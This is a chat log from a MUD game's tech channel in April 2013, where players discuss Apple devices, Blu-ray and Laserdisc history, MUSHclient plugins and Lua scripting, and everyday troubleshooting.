T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: They're sinking fast
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: they'll lose ground to the others at a steady pace, though, and once they are getting their heels nipped, they
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Only because people finally caught on that they're just being sold the same thing over and over again, and stopped shelling out for it
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Book of Etzli Tech: If you want to sync to apple devices, I /think/ MediaMonkey still does.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: they'll come around.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Book of Etzli Tech: Speaking of the same thing over and over again, the iPhone 6 is coming out soon, and it's "thicker"
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: I own a few apple devices, and I am happy with them... they work.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no 5s?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Book of Etzli Tech: That'll probably come after 6, Dagnir.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: I remain a non-mac user, though
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: Trying MediaMonkey first...I have an XP box and the 1st gen mac mini, plus a gifted 4g Nano ... I understand the appeal of Apple products for some people, it "just works" if you're already in their ecosystem
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: yes.. they do all they can to keep you in the nest.  but again... good marketing is just good business
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: unlike sony who has never learned what it takes to maintain their own (proprietary) echo system... betamax, laser disc, etc...
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: heh, the one thing that was amazing with laser disc was dragon's lair
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: Blu-ray...oh wait! I say this as someone who was closely involved in the HD-DVD battle
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: sony was blue-ray, correct?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Dragon's Lair?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: I like Laser Disc because it gave me my start with karaoke :D
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: dragon's lair was the showcase of laser disc players, a video game
T3/r7/2013-04-04.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Wow, I never knew they wrote games for LD.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: alongside Space Ace.. which came after
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: nothing could touch it for game graphics for like 10 years, looked like watching a normal cartoon, back when I was in grade school and everything was blocky
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: Blu-ray was technology designed by Sony, HD-DVD was a format from Toshiba, which technically was better (from the studio production perspective, cost of production)
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Leinei Tech: Heh, dragon's lair is on display at the smithsonian.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vonliege Tech: yes... blu-ray worked because Sony didn't stay in their vacuum.. unlike beta (which was superior to VHS) where they refused to license others to make the players, AND expected the movie industry to pay them royalities for any movies they sold/rented on beta.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: Well the studios pay royalties on the Blu-ray technology trust me, the issue chiefly went to marketing and install base (PS3 won the war)
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Doink Tech: Blue ray disc work in a normal player but not blueray quality?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: no doink
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: it'd be like sticking a DVD into a CD player
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Doink Tech: ahh ><. Gonna have to upgrade one of these days... blue rays are taking over the shelf space at Best Buy.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: lots of bluerays that you buy will come with both a blueray and a DVD
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Fatal FrostBite Tech: what's a blue ray?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: all of disney's do now, I believe
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: those are the "blueray combo pack"
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Leinei Tech: Just get you a PS3.  They're actually pretty durable and decent blu-ray players
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Fatal FrostBite Tech: I stream my hd stuff :)
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Doink Tech: Might be a good idea... my pupn would go downhill with a PS3 in the house though.. lol.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: Leinei goes, "Heh."
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: Leinei nods.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: heh, and there's no "e" in the name for the HD things, but my fingers won't type it that way ;-)
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Doink Tech: BluRay, like that?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: Fatal FrostBite looks your way then covers his mouth, trying to muffle his giggles.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Leinei Tech: Blu-Ray, officially, I believe
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Leinei Tech: Well, Blu-ray
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: Any suggestions on wire-framing software, anything for basic UX design / mockups ? As Ive said, at the moment I'm sketching stuff by hand and scanning/emailing to clients
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: since you said it's for website stuff, I'd do it right in your website tools
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: just greek the text or lorem ipsum
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: Well for this I'm trying to depict a TV screen concept for sports programming
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Mushambo Tech: But see your point :) Guess I'll stick with it
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dochyel Tech: I have been playing Aardwolf on my handheld up till now. I just downloaded the mush client and am unsure how configure what I need... is there a help file for that?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Leinei Tech: Did you get the Aardwolf version, or just regular MUSH?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dochyel Tech: I downloaded it from aardwolf.org
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Leinei Tech: It should be pretty much pre-configured, then.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If you download the aard mush from the aardwolf.com, there's no config necessary. it's perfectly click-and-go
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dochyel Tech: I guess what I wanted was to not see all the chat in my main window and just have it in the communication log
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dochyel Tech: but if I turn it off then all chat dissappears
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Leinei Tech: right-click in the chat window
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Leinei Tech: there's an option for echoing channels in the main window
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dochyel Tech: ok, and if I turn off the channel will it still show in my communication log?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ayasinda Tech: nope
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Leinei Tech: nope
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dochyel Tech: k, Ill play around with it and see, thanks
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dochyel Tech: haha ok, so I just tried to setup a quick spellup command to my F1 key and both Windows and MUSH claim there is no help file to bring up... can I disable that, or should I avoid using my function keys? are there other keys that will bring up similar responses
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Doink Tech: can disable its a mush option somewhere...
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ayasinda Tech: File>Global Preferences/Gereral tab
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Book of Etzli Tech: I love those Gereral tabs.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Bast Tech: File->Global Preference, check "F1,F6 are macros"
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dochyel Tech: thank you
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: a great place to learn tons about the aard mushclient package is its home page at http://code.google.com/p/aardwolfclientpackage/
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: click the "wiki" tab and look around there
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: in the "Client Guide/FAQs" part of the wiki, click Configuring FAQ, where one of the FAQ entries is How do I disable F1 as being the help macro?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dochyel Tech: I think I will thanks! I just figured out the macro command thingy... this is way different than the commpressed
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: here is a AD question for yall. I have a single user on a single computer that cannot access network shares or exchange (both located on the same/only DC) this user can access everything when using any other computer in the domain. every other user on this computer can access everything (shares, exchange) i have deleted and rebuilt the profile for the user too and that didnt' help
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Typo Qurrm Kallendbor Tech: tell them to not use that computer
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Yes, THAT Neeper Tech: remove the computer from the domain/delete its record etc?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i have removed and rejoined the computer from teh domain but didnt' delete its record
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i will try that thanks :)
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: ya deleting the computer record didn't help. i really am baffled by the fact it is only this one user
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dochyel Tech: history
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ayasinda Tech: kill the user. No seriously, I am too.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dochyel Tech: sorry  spell checker on phone got me... lol
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Dochyel Tech: disregard
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: lol i actually like this user though. they always blame themselves
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so they are at least right about something
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i would however like to kill the person who ran the IT of this company before me
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Ferun Tech: so who's gonna make me a plugin that text's me when theres double?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Turie Tech: Vorpes: You know that you enjoy a challenge.
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Turie Tech: Ask Cheezburger!
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: dude please don't mention cheezburgers i am starving
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: they don't feed me down here. i am blocked in at the place i am at because someone is dying. geez the nerve of some people
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: Glako hop
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Tech: Glako hops around like a little kid. 
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: another awesome day of work down
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: mis
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Arystul Tech: trying to find cool apps for my tablet/phone anyone have any good recommendations?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Arystul Tech: mostly interested in free ones, but if its something I can't live without, I'd pay for something lol
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Laughing Airmeith Tech: whatcha looking for? anything specific?
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Arystul Tech: nothing specific lol, just have a smart phone and now a tablet and I don't use them even marginally what their capable of
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Laughing Airmeith Tech: Out of Milk is great on my phone
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Laughing Airmeith Tech: shopping/to do list
T3/r7/2013-04-04.txt.gz:{chan ch=tech}Arystul Tech: I just use the lists it comes with :P
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Ixle Tech: Anyone know of any software written to harness the power of a bunch of random mobile device screens into 1 larger screen?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Quadrapus Tech: anyone mess around with bitcoin mining before?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Does Mush's Lua interface have an ability to search the buffer? I'm looking through the docs and can't seem to find one. Essentially I want to make a #grep function to list all occurances of whatever.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yes I know that mush has a find ability, that's not what I want though. I want to re-print it out to the screen, not scroll up to the occurance.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Leinei Tech: what do you mean by buffer?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: scrollback history, it appears
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Leinei Tech: the output?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: history
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods at you in agreement. 
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Leinei Tech: GetRecentLines()
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Leinei Tech: Only keeps 100, though
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: well, 100's better than 0, but I was hoping it could do the whole buffer.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Leinei Tech: doesn't look like it.  it stores the total *number* of lines in the buffer, but only the last 100 actual lines, as far as I can tell
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Daesilme Tech: GetLinesInBufferCount() and GetLineInfo(), should get what you need.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Leinei Tech: Was just looking at that
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Thanks Dae
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Worse comes to worse, i'll just iterate over the count and get each line, parse it and spit it out for the user.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Daesilme Tech: That's what GetLineInfo() is gonna require, looking at it.  I'm not seeing a "GetRangeOfLines" type function.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Well, not too hard to build my own at least.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Maybe i'll submit it to Gammon and see if he'll include it in the build :P
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Leinei Tech: oh btw, difference between GetRecentLines() and that is that recent lines only includes lines received from the mud
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Leinei Tech: whereas the buffer includes commands, notes, etc.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Oh, GetLineInfo will do user echo's too?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Leinei Tech: nods, looks like it
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Not sure if I like that, may have to find a way to distinguish
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: the manpage for GetLineInfo shows examples of getting ranges, and even of putting them into a lua table so you can do whatever you want with them
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Leinei Tech: you can distinguish
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Leinei Tech: there's a boolean that tells whether it was a world.note, a different boolean if it was player input
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: *nods* Reading the man page now.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Thanks guys
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Menardi Tech: were can i find scripts for aardmush?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: All over the place. It helps to know what kind of script you're looking for, first.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: how do i fix an issue I am having where MUSh re-configured my flag toggles and no zmud shows me this {chan ch=clantalk}
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: type "tags channels off"
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: or better, use a channel capture script which utilizes and hides those tags
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: your awesome Abe thanks
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: the guy that releases the aard mushclient package has such a script on his site, btw
T3/r7/2013-04-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that would be me
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: You point at The Jerk Fiendish.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: there he is!
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: what is a channel capture script?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: hax
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: you know how the channels were in MUSHclient?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: like that, but for zmud
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: honestly no, I tried downloading, thought it was overwhelming and went right back to zmud
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish goes, "Hmmmm."
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish shrugs helplessly.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: to many windows and options very alien to me lol
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: well, just look at the screenshot of MUSHclient on aard's site to get the idea...it puts channels into a separate window, so you can still read them through all the spam of fighting, etc
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: ahhh yes ok, yeah I get that
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: does the same toggle thing work on coordinates showing?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: yes, tags coords off...type just "tags" to see what all the tags options are
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: if you know that you don't have ANY scripts which may be using tags, you can type "tags off" to turn them all off at once
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Fawlty Tech: honestly, i've been mudding since 1995, and the aardwolf mushclient package rules.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: but things like danj's spellup script does use tags
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Ta'Veren Dranged Tech: just found the whole list thanks again Abe
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Daain Tech: Ok, is anyone here up for a MUSH plugin question?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Just ask
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Daain Tech: Well, I've been using the scan_highlight plugin, but just a few days ago, it completely stopped working, and doesn't even show up in my list anymore. When I try to readd it, it says it isn't an XML file.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Daain Tech: I've even tried a freshly extracted copy in case mine got corrupted somehow.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Mine screwed up to, i didn't really look into and said screw it
T3/r7/2013-04-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is it an xml file?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Quadrapus Tech: Anyone use google's OAuth 2.0 before? I have a few questions about logging in if the account uses two-step verification
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Daain Tech: Ok, so it isn't just me. I asked yesterday, and someone else said theirs was working fine.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Daain Tech: Yes, it is.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: are you sure?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Daain Tech: scan_highlight.xml is copypasta straight from explorer.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: open it in a text editor to see what the contents look like
T3/r7/2013-04-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ending in .xml doesn't make it an xml file
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Daain Tech: Type is listed as an XML document, and I figured that since it had been working ok up until recently...wouldn't that make it pass the XML test by default?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: not in my book
T3/r7/2013-04-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: paste the contents of the file somewhere
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Daain Tech: Where? I'm pretty sure you don't want it here.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: pastebin
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Book of Etzli Tech: The type goes by the extension. You can put docx as the extension, and it'd tell you it was a Microsoft Word document.
T3/r7/2013-04-05.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://pastebin.com/
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Daain Tech: http://pastebin.com/dWAvwr1e
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Tech: do you have it inside the bast folder?
T3/r7/2013-04-05.txt.gz:{chan ch=tech}Daain Tech: Yes, and I've also tried a copy extracted elsewhere.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: bast's stuff won't work elsewhere
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daain Tech: Yeah, it was something I did as troubleshooting...didn't solve the problem.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: loads fine for me
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: whatever you're doing is wrong or your computer is broken
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Aizma Tech: pebkac
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daain Tech: Should I c/p the error text?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: there's no need. it loads fine. ;)
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daain Tech: Still not working for me. So, I guess it really must be pebcak.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: yeah, pastebin the error, it may give insight on why yours isn't
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daain Tech: http://pastebin.com/H3r9VXUD
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: did you even read that error message?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: ahhhh
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daain Tech: Yes.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: it's not saying the plugin is not an xml file
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: it's saying the STATE file isn't
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: delete the state file that it references
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you obviously only pretended to read it
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: my dad does that sometimes
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daain Tech: I read it...I just have no clue what a state file is.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Aizma Tech: I do that every time.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: it's the file that it says right there in the error message
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: like 95% of that message is it telling you what the file is
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Aizma Tech: That means he may have read 5%, then, right? That's not all bad.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: only 95% bad
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Aizma Tech: I have low standards.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Daain Tech: Ok, thanks for the help. That'll probably solve it. Won't bug you guys again.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm sorry, I'm missing some things. I'm only reading 95% of this conversation. Plus I'm only writing 95% of my sent
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It's not bugging if you try to decipher yourself first :P
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger points excitedly at Book of Etzli's crotch!
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you mean it wouldn't have been bugging
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: yeah, blane mr jack daniels
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: you can't try to decipher anything without reading it
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: blame*
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I mean...you can TRY
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but the odds of success are vanishing
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Leinei Tech: Geez, even captchas are advertisements, nowadays
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger nods.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Leinei.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Doink Tech: glad lasher never added captchas to aard
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Anything the user looks at is advertising realestate
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: man i screwed that word up
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Hah, I just tried to "*leinei", totally forgetting the "nod" bit...
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: Queen Bee Noegel comforts Helperful Cheezburger.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}HappyDog Madcatz Tech: and I click to in the text box to enter the captcha that has an advertisement in it, and a popup opens with yet another advertisement
T3/r7/2013-04-06.txt.gz:{chan ch=tech}HappyDog Madcatz Tech: I'm also getting worse and worse at mutli-windowing
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Aurelia Tech: Somewhere I lost my health bar miniwindow deal that comes with standard mush - any suggestions?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Aurelia Tech: It's installed, just not showing up
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: try typing "resetaard"
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Aurelia Tech: Lets not and say we did. Any other suggestions?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: You smirk.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: define lost
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: move other windows, make sure it's not just behind another
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Aurelia Tech: its not appearing. When I first downloaded and reinstalled, it appeared but after resizing and installing some plugins its gone
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Aurelia Tech: I did
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Aurelia Tech: (and did again, just in case)
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: heh, never noticed the in case of emergency option
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: you have 2 options, delete the state file or type resetaard
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: close mushclient first before deleting the state file
T3/r7/2013-04-06.txt.gz:{chan ch=tech}RedRain Tech: take the blue pill!
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: resetaard isn't destructive, it just puts the windows back into their stock locations
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: and yeah, have MUSH closed when you delete the state file
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: well, it's destructive to your layout
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but I use the default layout anyway
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Aurelia Tech: I think I'll just live without the healthbars for now I guess. Thanks.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Tech: do you use the default...or does what you use become the default? ;-)
T3/r7/2013-04-06.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: This may be the best story I have read all hour! http://thedailywtf.com/Articles/The-Windows-7-Upgrade.aspx
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Ranrr Tech: Nice one.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Ranrr Tech: That's what happens when IT policies are set by the IT department instead of the departments actually using the devices. 
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Jhav Tech: Epic.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Vonliege Tech: reference 'search and destroy':  is there a way to configure it so that once you have "HTed" someting, it return 'mapper here xxx' instead of 'mapper find xxx'?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Ixle Tech: You can make it do whatever you want by editing the plugin. I can't help you any further than that though since I don't use Mush. There are guides to scripting in Mush on the internet if you google.
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: is it easy to script in mush?
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Vonliege Tech: yes... deeper than I wanted to get into it.  perhaps in another time, I might consider that.  for now, I just want to "dial a phone nuber", not "build a phone".
T3/r7/2013-04-06.txt.gz:{chan ch=tech}Vonliege Tech: "easy" is relative... if you have a basic programming foundation, then yes... if you can find the "j" key 3 outa 5 times, then no
